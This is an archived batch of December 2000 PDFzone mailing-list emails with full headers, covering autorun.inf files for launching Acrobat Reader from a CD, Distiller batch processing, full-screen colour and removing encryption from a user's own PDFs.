icon=reader_search\\Reader\\ACRORD32.EXE I would greatly appreciate any info on making a CD autorun on the PC platform. Thanks, Gayle   Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe AllProductsCatalog\\ArmstrongSolutionSource.pdf   Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- --------------3452335A99D5E219706A2DCE-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 21:30:35-GMT,11215;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA12644 for ; Wed, 6 Dec 2000 14:30:33 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA06012; Wed, 6 Dec 2000 15:30:18 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 15:21:42 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA05371; Wed, 6 Dec 2000 15:21:40 -0600 Received: from cartell.cooke.net (cartell.cooke.net [198.68.210.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA05366 for ; Wed, 6 Dec 2000 15:21:37 -0600 Received: from cooke.net (dup2-34.cooke.net [198.68.210.130]) by cartell.cooke.net (8.9.3/8.9.3) with ESMTP id PAA14246 for ; Wed, 6 Dec 2000 15:21:34 -0600 (CST) Message-ID: <3A2EADFA.1EEDE371@cooke.net> Date: Wed, 06 Dec 2000 15:22:02 -0600 From: Gayle Hermes Organization: Olympic Productions X-Mailer: Mozilla 4.61 (Macintosh; I; PPC) X-Accept-Language: en,pdf MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] autorun References: Content-Type: multipart/alternative; boundary=""------------4C0E0D9A21302780C5BC22D1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ --------------4C0E0D9A21302780C5BC22D1 Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Running Acrobat inside the CD Read this article: http://www.planetpdf.com/planetpdf/pdfs/ReaderCD.pdf Everything is there. Enjoy it! Richard Ferris wrote: > To create and auto run command, do you just copy this into a *.txt > file and place it on the CD or is there a specific way to create the > auto run command? I have been looking for a way to do this for a > while now. Thanks! Richard D FerrisHeck > Enterpriseswww.heckenterprises.com 315-336-7582 Office516-908-3856 > Fax > Following is the autorun.inf file we use to do what you are asking: > > [autorun] > OPEN=Acrobat4.0\\Reader\\AcroRd32.exe directoryname\\filename.pdf > > Pam Blasius > Marketing WebMaster > Armstrong International, Inc. > 816 Maple Street > Three Rivers, MI 49093 USA > Phone: (616) 279-3381 > Fax: (616) 273-9057 > pamb@armstrong-intl.com > www.armstrong-intl.com > > -----Original Message----- > From: owner-pdf@lists.pdfzone.com > [mailto:owner-pdf@lists.pdfzone.com]On > Behalf Of Gayle Hermes > Sent: Wednesday, December 06, 2000 3:06 PM > To: pdf@lists.pdfzone.com > Subject: [PDF] autorun > > > > The PDF list is a service provided by PDFzone.com | > http://www.pdfzone.com > __________________________________________________________________ > > I'm creating a pdf file for a client to be > put on a CD as a marketing piece. > I want the CD to autorun when inserted > into a PC computer. I've tried the two differnet autorun.info > files below. However, with either one, when the > CD is inserted, a window comes up saying the .exe file > cannot not be located with an option to locate. > When you click on the locate button and then > click on the CD it locates the .exe file. Once that > is done, the CD will autorun anytime you put > it into that same computer. But as soon as you > take it to another CD it asks to locate the .exe file- > if you burn a new CD it will still work on > that computer without having to locate the .exe file. > My client wants their potential customers to be > able to insert the CD into their computer and > Acrobat Reader and the pdf file automatically comes up. > Does anyone have any ideas as to what I'm doing wrong > and what I need to do to fix it. > > > [autorun] > open=""Acrobat 4.0\\Reader\\AcroRd32.exe"" filename.pdf > defaulticon=Acrobat 0 > > > > With this autorun.info below, I capitalized the .exe and the filename > because that is the way it burned onto the CD. > I work on a macintosh, and the file names are all > lower case, but when I burn the CD for ISO it capitalizes > the file names. This CD does not have to be > cross platform - I just want it to autorun for pc. > > [autorun] > open=reader_search\\Reader\\ACRORD32.EXE FILENAME.PDF > icon=reader_search\\Reader\\ACRORD32.EXE > > I would greatly appreciate any info on making a CD autorun > on the PC platform. > > Thanks, > Gayle > > > Receive the latest PDF News in your Inbox. > > > --------------------------------------------------------------------------- > > [autorun] > OPEN=Acrobat4.0\\Reader\\AcroRd32.exe > AllProductsCatalog\\ArmstrongSolutionSource.pdf > > > Receive the latest PDF News in your Inbox. > > > --------------------------------------------------------------------------- --------------4C0E0D9A21302780C5BC22D1 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  Running Acrobat inside the CD Read this article:  http://www.planetpdf.com/planetpdf/pdfs/ReaderCD.pdf Everything is there. Enjoy it!     Richard Ferris wrote:  To create and auto run command, do you just copy this into a *.txt file and place it on the CD or is there a specific way to create the auto run command?  I have been looking for a way to do this for a while now.  Thanks! Richard D FerrisHeck Enterpriseswww.heckenterprises.com 315-336-7582 Office516-908-3856 Fax  Following is the autorun.inf file we use to do what you are asking: [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe directoryname\\filename.pdf Pam Blasius Marketing WebMaster Armstrong International, Inc. 816 Maple Street Three Rivers, MI  49093 USA Phone: (616) 279-3381 Fax: (616) 273-9057 pamb@armstrong-intl.com www.armstrong-intl.com -----Original Message----- From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzone.com]On Behalf Of Gayle Hermes Sent: Wednesday, December 06, 2000 3:06 PM To: pdf@lists.pdfzone.com Subject: [PDF] autorun     The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I'm creating a pdf file for a client to be put on a CD as a marketing piece. I want the CD to autorun when inserted into a PC computer. I've tried the two differnet autorun.info files below. However, with either one, when the CD is inserted, a window comes up saying the .exe file cannot not be located with an option to locate. When you click on the locate button and then click on the CD it locates the .exe file. Once that is done, the CD will autorun anytime you put it into that same computer. But as soon as you take it to another CD it asks to locate the .exe file- if you burn a new CD it will still work on that computer without having to locate the .exe file. My client wants their potential customers to be able to insert the CD into their computer and Acrobat Reader and the pdf file automatically comes up. Does anyone have any ideas as to what I'm doing wrong and what I need to do to fix it.   [autorun] open=""Acrobat 4.0\\Reader\\AcroRd32.exe"" filename.pdf defaulticon=Acrobat 0     With this autorun.info below, I capitalized the .exe and the filename because that is the way it burned onto the CD. I work on a macintosh, and the file names are all lower case, but when I burn the CD for ISO it capitalizes the file names. This CD does not have to be cross platform - I just want it to autorun for pc. [autorun] open=reader_search\\Reader\\ACRORD32.EXE FILENAME.PDF icon=reader_search\\Reader\\ACRORD32.EXE I would greatly appreciate any info on making a CD autorun on the PC platform. Thanks, Gayle   Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe AllProductsCatalog\\ArmstrongSolutionSource.pdf   Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- --------------4C0E0D9A21302780C5BC22D1-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 21:35:26-GMT,12316;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA12840 for ; Wed, 6 Dec 2000 14:35:25 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA06527; Wed, 6 Dec 2000 15:34:44 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 15:26:38 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA05764; Wed, 6 Dec 2000 15:26:34 -0600 Received: from ns3.armintl.com (root@ns3.armintl.com [38.219.85.11]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA05756 for ; Wed, 6 Dec 2000 15:26:32 -0600 Received: from pc35 (aii2nat202.armintl.com [38.254.233.202]) by ns3.armintl.com (8.9.3/8.9.3) with ESMTP id QAA21425 for ; Wed, 6 Dec 2000 16:26:26 -0500 From: ""Pam Blasius"" To: Subject: RE: [PDF] autorun Date: Wed, 6 Dec 2000 16:29:28 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0012_01C05FA1.B4670E40"" X-Priority: 1 (Highest) X-MSMail-Priority: High X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Importance: High Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C05FA1.B4670E40 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Create the file in notepad and save as: autorun.inf Then copy autorun.inf to the root directory on the CD ROM This will work AS LONG as the computer operator has not changed the settings for their CD Rom drive. To check look under My Computer, Device Manager, CD ROM Settings, Auto insert notification must be checked. Pam Blasius Marketing WebMaster Armstrong International, Inc. 816 Maple Street Three Rivers, MI 49093 USA Phone: (616) 279-3381 Fax: (616) 273-9057 pamb@armstrong-intl.com www.armstrong-intl.com -----Original Message----- From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzone.com]On Behalf Of Richard Ferris Sent: Wednesday, December 06, 2000 4:08 PM To: pdf@lists.pdfzone.com Subject: RE: [PDF] autorun To create and auto run command, do you just copy this into a *.txt file and place it on the CD or is there a specific way to create the auto run command? I have been looking for a way to do this for a while now. Thanks! Richard D Ferris Heck Enterprises www.heckenterprises.com 315-336-7582 Office 516-908-3856 Fax Following is the autorun.inf file we use to do what you are asking: [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe directoryname\\filename.pdf Pam Blasius Marketing WebMaster Armstrong International, Inc. 816 Maple Street Three Rivers, MI 49093 USA Phone: (616) 279-3381 Fax: (616) 273-9057 pamb@armstrong-intl.com www.armstrong-intl.com -----Original Message----- From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzone.com]On Behalf Of Gayle Hermes Sent: Wednesday, December 06, 2000 3:06 PM To: pdf@lists.pdfzone.com Subject: [PDF] autorun The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I'm creating a pdf file for a client to be put on a CD as a marketing piece. I want the CD to autorun when inserted into a PC computer. I've tried the two differnet autorun.info files below. However, with either one, when the CD is inserted, a window comes up saying the .exe file cannot not be located with an option to locate. When you click on the locate button and then click on the CD it locates the .exe file. Once that is done, the CD will autorun anytime you put it into that same computer. But as soon as you take it to another CD it asks to locate the .exe file- if you burn a new CD it will still work on that computer without having to locate the .exe file. My client wants their potential customers to be able to insert the CD into their computer and Acrobat Reader and the pdf file automatically comes up. Does anyone have any ideas as to what I'm doing wrong and what I need to do to fix it. [autorun] open=""Acrobat 4.0\\Reader\\AcroRd32.exe"" filename.pdf defaulticon=Acrobat 0 With this autorun.info below, I capitalized the .exe and the filename because that is the way it burned onto the CD. I work on a macintosh, and the file names are all lower case, but when I burn the CD for ISO it capitalizes the file names. This CD does not have to be cross platform - I just want it to autorun for pc. [autorun] open=reader_search\\Reader\\ACRORD32.EXE FILENAME.PDF icon=reader_search\\Reader\\ACRORD32.EXE I would greatly appreciate any info on making a CD autorun on the PC platform. Thanks, Gayle Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- [autorun] OPEN=Acrobat4.0\\Reader\\AcroRd32.exe AllProductsCatalog\\ArmstrongSolutionSource.pdf Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- ------=_NextPart_000_0012_01C05FA1.B4670E40 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Create=20 the file in notepad and save as:  autorun.inf Then=20 copy autorun.inf to the root directory on the CD ROM   This=20 will work AS LONG as the computer operator has not changed the settings = for=20 their CD Rom drive.  To=20 check look under My Computer, Device Manager, CD ROM Settings, Auto = insert=20 notification must be checked. Pam BlasiusMarketing WebMasterArmstrong = International,=20 Inc.816 Maple StreetThree Rivers, MI  49093 USAPhone: = (616)=20 279-3381Fax: (616)=20 273-9057pamb@armstrong-intl.comwww.armstrong-intl.com = -----Original Message-----From: = owner-pdf@lists.pdfzone.com=20 [mailto:owner-pdf@lists.pdfzone.com]On Behalf Of Richard=20 FerrisSent: Wednesday, December 06, 2000 4:08 = PMTo:=20 pdf@lists.pdfzone.comSubject: RE: [PDF] = autorun To create and auto run command, do = you just=20 copy this into a *.txt file and place it on the CD or is there a = specific way to=20 create the auto run command?  I have been looking for a way to do = this for=20 a while now.  Thanks!   Richard D = Ferris Heck = Enterprises www.heckenterprises.com   315-336-7582 = Office 516-908-3856 = Fax Following is the autorun.inf file we use to do = what you=20 are asking:[autorun]OPEN=3DAcrobat4.0\\Reader\\AcroRd32.exe=20 directoryname\\filename.pdfPam BlasiusMarketing=20 WebMasterArmstrong International, Inc.816 Maple StreetThree = Rivers,=20 MI  49093 USAPhone: (616) 279-3381Fax: (616)=20 273-9057pamb@armstrong-intl.comwww.armstrong-intl.com----= -Original=20 Message-----From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzon= e.com]OnBehalf=20 Of Gayle HermesSent: Wednesday, December 06, 2000 3:06 PMTo:=20 pdf@lists.pdfzone.comSubject: [PDF] autorunThe PDF = list is a=20 service provided by PDFzone.com | http://www.pdfzone.com___________= _______________________________________________________I'm=20 creating a pdf file for a client to beput on a CD as a marketing = piece.I=20 want the CD to autorun when insertedinto a PC computer. I've tried = the two=20 differnet autorun.infofiles below. However, with either one, when = theCD=20 is inserted, a window comes up saying the .exe filecannot not be = located=20 with an option to locate.When you click on the locate button and=20 thenclick on the CD it locates the .exe file. Once thatis done, = the CD=20 will autorun anytime you putit into that same computer. But as soon = as=20 youtake it to another CD it asks to locate the .exe file-if you = burn a=20 new CD it will still work onthat computer without having to locate = the .exe=20 file.My client wants their potential customers to beable to = insert the=20 CD into their computer andAcrobat Reader and the pdf file = automatically=20 comes up.Does anyone have any ideas as to what I'm doing = wrongand what I=20 need to do to fix it.[autorun]open=3D""Acrobat=20 4.0\\Reader\\AcroRd32.exe"" filename.pdfdefaulticon=3DAcrobat=20 0With this autorun.info below, I capitalized the .exe = and the=20 filenamebecause that is the way it burned onto the CD.I work on = a=20 macintosh, and the file names are alllower case, but when I burn the = CD for=20 ISO it capitalizesthe file names. This CD does not have to = becross=20 platform - I just want it to autorun for=20 pc.[autorun]open=3Dreader_search\\Reader\\ACRORD32.EXE=20 FILENAME.PDFicon=3Dreader_search\\Reader\\ACRORD32.EXEI would = greatly=20 appreciate any info on making a CD autorunon the PC=20 platform.Thanks,GayleReceive the latest PDF News = in your=20 Inbox. Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ 1,2,3 regards *** dean laffan real world productions melbourne, australia ph +613-9419-3966 Mobile - 0418-525-315 It said on the box: 'Requires Windows 95 or better' ... so I bought a Mac ! Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 6-Dec-2000 22:44:17-GMT,3878;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA14958 for ; Wed, 6 Dec 2000 15:44:16 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA11089; Wed, 6 Dec 2000 16:43:34 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 6 Dec 2000 16:35:32 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA10602; Wed, 6 Dec 2000 16:35:29 -0600 Received: from comcom.com (netsrv03.comcom.com [207.67.13.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA10588 for ; Wed, 6 Dec 2000 16:35:25 -0600 Received: from mailbox.comcom.com (mailbox [207.67.13.213]) by comcom.com (8.9.3+Sun/8.9.3) with ESMTP id QAA18819 for ; Wed, 6 Dec 2000 16:36:08 -0600 (CST) Received: by mailbox with Internet Mail Service (5.5.2650.21) id ; Wed, 6 Dec 2000 16:41:40 -0600 Message-ID: <20D5861A4053D411A3B200105A0A7EDB1D9816@mailbox> From: ""Leone-Thiel, Pat"" To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Distiller Batch Processing Date: Wed, 6 Dec 2000 16:41:39 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is an excerpt from the Acrobat Guide (4.05). A bit clumsy but it may get you started. I would think there might be an API or some product in PDFZONE. Hope it helps. To combine PostScript files into one PDF file: 1. Start a text editor or a word processor. 2. Choose File > Open, use the browser to locate Runfilex.ps (Windows) or RunFilEx.ps (Mac OS) in the Acrobat Distiller Xtras folder, and open the file as a text file with carriage returns. 3. Follow the instructions in the Runfilex.ps or RunFileEx.ps file. Note that this utility combines PostScript files in the order in which they are listed. 4. Choose File > Save As, and save the modified Runfilex.ps or RunFileEx.ps under a new name. Use the name you want Distiller to give the PDF file. For example, if you name the file Handbook.ps, Distiller creates a PDF file called Handbook.pdf. If you're using a word processor, save the file as a text file. 5. Quit the text editor or word processor. 6. Open the file in Distiller. 7. Convert the combined file to PDF, or place the file in an In folder to be converted later. 8. When the PDF file is ready, open the file in Acrobat and make sure that all of the document parts are present and in the correct order. To combine PostScript files that are in the same folder: Follow the instructions in the Rundirex.txt (Windows) or RunDirEx.txt (Mac OS) file in the Acrobat Distiller Xtras folder. Patricia Leone-Thiel Client Training Services Mgr. pleoneth@comcom.com Commercial Communications, Inc. (www.comcom.com) 1225 Walnut Ridge Drive Hartland, WI 53029 (ph) 262.369.6000 (fx) 262.369.5647 1.800.DOCUTEC -----Original Message----- From: Cratty, Ken [mailto:KCratty@AGS.com] Subject: [PDF] Distiller Batch Processing I am still looking for a program that will work with my distiller to produce ONE pdf file from multiple postscript files in a Windows enviroment. Can anyone help me? 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The start.pdf will then search the PDF viewer all by itself. This is suitable for all Windows versions (as far as I know). SMA Regelsysteme GmbH i. A. Gerald Allen Salisbury Technischer Redakteur Hannoversche Stra�e 1-5 D 34266 Niestetal / Germany Tel: (0561) 9522 - 167 Fax: (0561) 9522 - 100 eMail: salisbury@sma.de Web: http:\\\\ www.sma.de >>> Gayle Hermes 06.12.2000 21.05 Uhr >>> The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I'm creating a pdf file for a client to be put on a CD as a marketing piece. I want the CD to autorun when inserted into a PC computer. I've tried the two differnet autorun.info files below. However, with either one, when the CD is inserted, a window comes up saying the .exe file cannot not be located with an option to locate. When you click on the locate button and then click on the CD it locates the .exe file. Once that is done, the CD will autorun anytime you put it into that same computer. But as soon as you take it to another CD it asks to locate the .exe file- if you burn a new CD it will still work on that computer without having to locate the .exe file. My client wants their potential customers to be able to insert the CD into their computer and Acrobat Reader and the pdf file automatically comes up. Does anyone have any ideas as to what I'm doing wrong and what I need to do to fix it. [autorun] open=""Acrobat 4.0\\Reader\\AcroRd32.exe"" filename.pdf defaulticon=Acrobat 0 With this autorun.info below, I capitalized the .exe and the filename because that is the way it burned onto the CD. I work on a macintosh, and the file names are all lower case, but when I burn the CD for ISO it capitalizes the file names. This CD does not have to be cross platform - I just want it to autorun for pc. [autorun] open=reader_search\\Reader\\ACRORD32.EXE FILENAME.PDF icon=reader_search\\Reader\\ACRORD32.EXE I would greatly appreciate any info on making a CD autorun on the PC platform. Thanks, Gayle Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 9:57:04-GMT,3201;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id CAA02108 for ; Thu, 7 Dec 2000 02:57:03 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id DAA04631; Thu, 7 Dec 2000 03:56:57 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 03:50:47 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id DAA04389; Thu, 7 Dec 2000 03:50:44 -0600 Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id DAA04372 for ; Thu, 7 Dec 2000 03:50:37 -0600 Received: from lpiper.demon.co.uk ([158.152.165.240] helo=postle.net) by finch-post-12.mail.demon.net with esmtp (Exim 2.12 #1) id 143xhE-0002pd-0C for pdf@lists.pdfzone.com; Thu, 7 Dec 2000 09:50:36 +0000 Message-ID: <3A2F69E4.8A0CA861@postle.net> Date: Thu, 07 Dec 2000 10:43:49 +0000 From: Denis X-Mailer: Mozilla 4.72 [en]C-CCK-MCD NSCPCD472 (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] FullScreen mode colour References: <001101c05fc6$f1101420$510b83c1@gateway.quite.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ OK I'll check more carefully and post the results. Thanks Denis Postle The Mind Gymnasium: Digital Edition Aandi Inston wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > > > I don't think we've yet seen how you are specifying the colour. > > > Are you using RGB or CMYK? > > > If you are using RGB, are you making sure that XPress is not > > > turning them to CMYK? > > > > I believe I'm only using RGB... the color quality is > > consistent between > > applications ie photoshop, quark and the acrobat menu view. > > It is only the Full > > View that is adrift > > You really need to confirm this. It is hard work to get RGB > out of Distiller - can you check how you are specifying the > colours, and make sure you have the option to print in RGB. > > If not, you are generating CMYK. CMYK display has no standard, > and can vary radically (though it is unusual to vary in > one application). > > > > Aandi > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 11:22:07-GMT,3106;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA03927 for ; Thu, 7 Dec 2000 04:22:06 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA08672; Thu, 7 Dec 2000 05:21:45 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 05:12:32 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id FAA08149; Thu, 7 Dec 2000 05:12:31 -0600 Received: from mpukbdc.mpuk ([212.134.158.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA08145 for ; Thu, 7 Dec 2000 05:12:29 -0600 Received: by MPUKBDC with Internet Mail Service (5.5.2650.21) id ; Thu, 7 Dec 2000 11:08:14 -0000 Message-ID: <61CA76763D8FD4119D0700508B2C3D5904B518@MPUKBDC> From: Atik Miah To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] PDF Decryption Date: Thu, 7 Dec 2000 11:08:13 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Dear Jeremy, 30,000 files did you say! One suggestion I have which may work as long as you don't have TrueType fonts used in your PDF, is to export your PDF as an EPS, then redistill, if it does work - you've got 29,999 left to go! - you might perhaps be better off with a tool/utility that does this - no doubt there will be one about... -----Original Message----- From: jeremy.salganik@ihs.com [mailto:jeremy.salganik@ihs.com] Sent: 06 December 2000 19:11 To: pdf@lists.pdfzone.com Subject: [PDF] PDF Decryption The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have over 30,000 PDF files that are encrypted. I have a security password to change the file and I have changing the document not allowed set. What I would like to do is batch process all of these files to clear the security settings and turn off the encryption. Right now using Acrobat 4.05 I can clear the security settings but my files are still encrypted. So the security method still shows as standard. I need this cleared. Does anyone know of a tool to do this? Jeremy Salganik IHS Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 11:25:56-GMT,1856;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA04019 for ; Thu, 7 Dec 2000 04:25:55 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA08944; Thu, 7 Dec 2000 05:25:36 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 05:20:02 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id FAA08506; Thu, 7 Dec 2000 05:20:01 -0600 Received: from mpukbdc.mpuk ([212.134.158.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA08502 for ; Thu, 7 Dec 2000 05:19:59 -0600 Received: by MPUKBDC with Internet Mail Service (5.5.2650.21) id ; Thu, 7 Dec 2000 11:15:40 -0000 Message-ID: <61CA76763D8FD4119D0700508B2C3D5904B519@MPUKBDC> From: Atik Miah To: ""'pdf@lists.pdfzone.com'"" Subject: Recall: [PDF] PDF Decryption Date: Thu, 7 Dec 2000 11:15:39 -0000 Expiry-Date: Sat, 9 Dec 2000 03:19:51 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Atik Miah would like to recall the message, ""[PDF] PDF Decryption"". Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 7-Dec-2000 12:44:51-GMT,3129;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id FAA05550 for ; Thu, 7 Dec 2000 05:44:50 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA12701; Thu, 7 Dec 2000 06:44:05 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 7 Dec 2000 06:37:55 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id GAA12484; Thu, 7 Dec 2000 06:37:53 -0600 Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA12480 for ; Thu, 7 Dec 2000 06:37:52 -0600 Received: from merlin-os.demon.co.uk ([194.222.123.109]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 1440Ix-0002NE-0V for pdf@lists.pdfzone.com; Thu, 7 Dec 2000 12:37:44 +0000 Message-ID: Date: Thu, 7 Dec 2000 10:03:24 +0000 To: pdf@lists.pdfzone.com From: David R Evans Subject: Re: [PDF] PDF Decryption References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike (32) Version 4.01 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ In message , jeremy.salganik@ihs.com wrote: >I have over 30,000 PDF files that are encrypted. I have a security password >to change the file and I have 